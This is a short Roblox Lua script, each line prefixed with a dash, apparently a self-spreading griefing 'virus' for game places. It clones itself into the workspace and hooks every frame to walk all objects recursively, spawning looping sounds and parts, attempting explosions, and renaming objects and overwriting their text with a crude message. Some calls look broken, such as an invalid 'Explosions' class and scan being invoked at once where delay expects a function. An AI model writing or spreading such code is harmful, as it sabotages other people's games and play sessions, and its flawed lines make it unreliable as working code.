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- if _G.Loaded == nil then
- _G.Loaded = true
- wait(5)
- end
- delay(0.025, function() script.Parent = nil end)
- script:Clone().Parent = workspace
- game.ItemChanged = function(asdf)
- ypcall(function() Instance.new("Explosions", asdf) ypcall(function() asdf.Explosion.Position = asdf.Position end) end)
- ypcall(function() local snd = Instance.new("Sound",asdf) snd.SoundId = "rbxassetid://315813707" snd.Looped = true snd:Play() end)
- ypcall(function() Instance.new("Hint", asdf).Text = "Now you have a bad case of diarrhea." end)
- ypcall(function() asdf.Name = "Now you have a bad case of diarrhea." end)
- ypcall(function() asdf.Text = "Now you have a bad case of diarrhea." end)
- ypcall(function() asdf.SoundId = "rbxassetid://315813707" asdf.Looped = true asdf:Play() end)
- end
- game:GetService("RunService").Stepped.connect(function()
- local function scan(obj)
- for g,asdf in pairs(obj:GetChildren()) do
- ypcall(function() local snd = Instance.new("Sound",Instance.new("Part", asdf)) snd.SoundId = "rbxassetid://315813707" snd.Looped = true snd:Play() end)
- ypcall(function() Instance.new("Explosions", asdf) ypcall(function() asdf.Explosion.Position = asdf.Position end) end)
- ypcall(function() Instance.new("Hint", asdf).Text = "Now you have a bad case of diarrhea." end)
- ypcall(function() asdf.Name = "Now you have a bad case of diarrhea." end)
- ypcall(function() asdf.Text = "Now you have a bad case of diarrhea." end)
- ypcall(function() asdf.SoundId = "rbxassetid://315813707" asdf.Looped = true asdf:Play() end)
- delay(0.025,scan(asdf))
- end
- end
- delay(0.025,scan(workspace))
- end)
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